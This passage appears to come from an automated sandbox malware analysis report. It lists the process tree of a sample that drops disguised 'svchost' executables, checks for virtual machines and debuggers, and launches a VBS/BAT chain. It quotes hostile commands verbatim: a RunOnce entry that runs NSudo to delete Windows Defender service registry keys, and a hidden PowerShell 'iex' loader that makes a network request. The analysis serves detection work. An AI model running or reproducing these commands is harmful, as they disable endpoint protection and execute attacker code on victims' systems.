      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
      4⤵
      PID:3876
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:2148

C:\Users\Admin\AppData\Local\Temp\random.exe
C:\Users\Admin\AppData\Local\Temp\random.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5312
- C:\Windows\TEMP\svchostmanager.exe
  "C:\Windows\TEMP\svchostmanager.exe"
  2⤵
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1008
- C:\Windows\TEMP\svchostam.exe
  "C:\Windows\TEMP\svchostam.exe"
  2⤵
  - Executes dropped EXE
  PID:456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 456 -s 560
    3⤵
    - Program crash
    PID:3832
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:2176
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:4468
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 532
    3⤵
    - Program crash
    PID:6084
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:1092
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1092 -s 540
    3⤵
    - Program crash
    PID:5064
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:6028
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6028 -s 532
    3⤵
    - Program crash
    PID:4080
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:532
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 532 -s 532
    3⤵
    - Program crash
    PID:3084
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:3524
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 540
    3⤵
    - Program crash
    PID:1944
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:4964
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 532
    3⤵
    - Program crash
    PID:3132
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:3988
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3988 -s 532
    3⤵
    - Program crash
    PID:2580
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:4452
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 536
    3⤵
    - Program crash
    PID:5484
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:1976
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 532
    3⤵
    - Program crash
    PID:2064
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:1304
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1304 -s 532
    3⤵
    - Program crash
    PID:3240
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:5032
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 532
    3⤵
    - Program crash
    PID:3980
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:5928
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5928 -s 532
    3⤵
    - Program crash
    PID:3976
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  - Executes dropped EXE
  PID:968
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 968 -s 532
    3⤵
    - Program crash
    PID:1484
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5484
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 532
    3⤵
    - Program crash
    PID:6116
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:4936
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 536
    3⤵
    - Program crash
    PID:5552
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:3116
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3116 -s 532
    3⤵
    - Program crash
    PID:3512
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:2932
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2932 -s 532
    3⤵
    - Program crash
    PID:2128
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:228
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 228 -s 532
    3⤵
    - Program crash
    PID:3972
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:1592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1592 -s 532
    3⤵
    - Program crash
    PID:5012
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:588
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 588 -s 532
    3⤵
    - Program crash
    PID:5904
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:4696
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 532
    3⤵
    - Program crash
    PID:3200
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:2616
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2616 -s 532
    3⤵
    - Program crash
    PID:5340
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5956
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5956 -s 532
    3⤵
    - Program crash
    PID:4012
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5656
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5656 -s 532
    3⤵
    - Program crash
    PID:5468
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7072
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7072 -s 532
    3⤵
    - Program crash
    PID:7164
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:3448
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 532
    3⤵
    - Program crash
    PID:7352
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5116
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5116 -s 532
    3⤵
    - Program crash
    PID:7908
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6300
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6300 -s 536
    3⤵
    - Program crash
    PID:6152
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7348
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7348 -s 532
    3⤵
    - Program crash
    PID:7572
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7796
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7796 -s 532
    3⤵
    - Program crash
    PID:7952
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:3732
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3732 -s 536
    3⤵
    - Program crash
    PID:6624
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7632
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7632 -s 532
    3⤵
    - Program crash
    PID:7760
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6764
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6764 -s 536
    3⤵
    - Program crash
    PID:8
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6176
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6176 -s 532
    3⤵
    - Program crash
    PID:6748
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6584
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6584 -s 532
    3⤵
    - Program crash
    PID:6768
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:4080
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4080 -s 532
    3⤵
    - Program crash
    PID:1100
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7968
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7968 -s 532
    3⤵
    - Program crash
    PID:3444
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7216
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7216 -s 532
    3⤵
    - Program crash
    PID:3956
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5068
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 532
    3⤵
    - Program crash
    PID:6824
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:4432
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4432 -s 532
    3⤵
    - Program crash
    PID:6152
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:4992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 536
    3⤵
    - Program crash
    PID:4092
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:1084
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1084 -s 532
    3⤵
    - Program crash
    PID:7380
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:8052
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8052 -s 532
    3⤵
    - Program crash
    PID:7572
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6788
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6788 -s 532
    3⤵
    - Program crash
    PID:1836
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:240
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 240 -s 532
    3⤵
    - Program crash
    PID:3248
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5696
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5696 -s 532
    3⤵
    - Program crash
    PID:6012
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6100
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6100 -s 532
    3⤵
    - Program crash
    PID:5428
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7720
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7720 -s 532
    3⤵
    - Program crash
    PID:5276
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:2580
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2580 -s 532
    3⤵
    - Program crash
    PID:7940
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6324
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6324 -s 532
    3⤵
    - Program crash
    PID:6772
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:8000
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8000 -s 536
    3⤵
    - Program crash
    PID:6684
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5108
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5108 -s 532
    3⤵
    - Program crash
    PID:2536
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7456 -s 532
    3⤵
    - Program crash
    PID:5864
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5276
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 532
    3⤵
    - Program crash
    PID:6500
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:8100
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8100 -s 532
    3⤵
    - Program crash
    PID:4896
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6436
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6436 -s 572
    3⤵
    - Program crash
    PID:4416
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:4800
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 220
    3⤵
    - Program crash
    PID:4292
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 612
    3⤵
    - Program crash
    PID:6964
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6728
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6728 -s 572
    3⤵
    - Program crash
    PID:4680
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:1472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 220
    3⤵
    PID:7768
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:8108
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8108 -s 580
    3⤵
    PID:2212
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6568
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6568 -s 572
    3⤵
    PID:3444
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:1072
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1072 -s 220
    3⤵
    PID:5180
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6484
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6484 -s 572
    3⤵
    PID:6936
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7228
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7228 -s 572
    3⤵
    PID:7436
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:6280
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6280 -s 572
    3⤵
    PID:2296
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7020
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 572
    3⤵
    PID:4472
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:4340
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 572
    3⤵
    PID:8132
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:8008
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8008 -s 220
    3⤵
    PID:6912
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:7172
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7172 -s 516
    3⤵
    PID:7788
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7172 -s 600
    3⤵
    PID:2820
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5588
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5588 -s 572
    3⤵
    PID:7260
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:8276
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8276 -s 220
    3⤵
    PID:8612
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:8104
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8104 -s 580
    3⤵
    PID:8432
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:9148
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 9148 -s 532
    3⤵
    PID:9688
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:11976
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 11976 -s 580
    3⤵
    PID:10040
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:10332
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 10332 -s 572
    3⤵
    PID:11348
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:11644
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 11644 -s 572
    3⤵
    PID:10308
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:10424
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 10424 -s 572
    3⤵
    PID:6936
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:11580
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 11580 -s 580
    3⤵
    PID:12860
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:12784
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 12784 -s 572
    3⤵
    PID:12424
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:8760
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8760 -s 572
    3⤵
    PID:12912
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:9396
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 9396 -s 508
    3⤵
    PID:10180
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2004 -s 572
    3⤵
    PID:11400
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:2396
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2396 -s 580
    3⤵
    PID:12516
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:13188
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 13188 -s 580
    3⤵
    PID:8616
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:11044
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 11044 -s 580
    3⤵
    PID:7300
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:9096
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 9096 -s 580
    3⤵
    PID:10168
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:5828
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5828 -s 572
    3⤵
    PID:8224
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:11892
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 11892 -s 84
    3⤵
    PID:10540
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:10400
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 10400 -s 580
    3⤵
    PID:11028
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:10488
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 10488 -s 516
    3⤵
    PID:10168
- C:\Windows\svchosthelper.exe
  "C:\Windows\svchosthelper.exe"
  2⤵
  PID:11968
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 11968 -s 536
    3⤵
    PID:10892

C:\Windows\svchosthelper.exe
C:\Windows\svchosthelper.exe
1⤵
- Executes dropped EXE
PID:1724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 456 -ip 456
1⤵
PID:3632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4468 -ip 4468
1⤵
PID:536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1092 -ip 1092
1⤵
PID:1272

C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
1⤵
- Executes dropped EXE
PID:1028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 6028 -ip 6028
1⤵
PID:3236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 532 -ip 532
1⤵
PID:1540

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1080
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\WindowsService_e60e\dllhost_508f.vbs"
  2⤵
  PID:1800

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
PID:3068
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\WindowsService_e60e\dllhost_508f.vbs"
  2⤵
  PID:956
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\WindowsService_e60e\dllhost_5a7d.bat"
    3⤵
    PID:2564
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:4684
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled
      4⤵
      PID:2592
  - - C:\Windows\system32\find.exe
      find "0x0"
      4⤵
      PID:2296
  - - C:\Windows\system32\wscript.exe
      wscript //B //E:vbscript "C:\Users\Admin\AppData\Local\Temp\bb1edd30311.vbs"
      4⤵
      PID:1756
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\WindowsService_e60e\dllhost_5a7d.bat" /launched
        5⤵
        
        PID:2480
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4800
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:4776
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled
        6⤵
        
        PID:4748
      - C:\Windows\system32\find.exe
        
        find "0x0"
        6⤵
        
        PID:6112
      - C:\Windows\system32\PING.EXE
        
        ping -n 6 127.0.0.1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2444
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w hidden -c "iex($env:_uox)"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 3524 -ip 3524
1⤵
PID:3076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 4964 -ip 4964
1⤵
PID:1084

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3188

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 3988 -ip 3988
1⤵
PID:3744

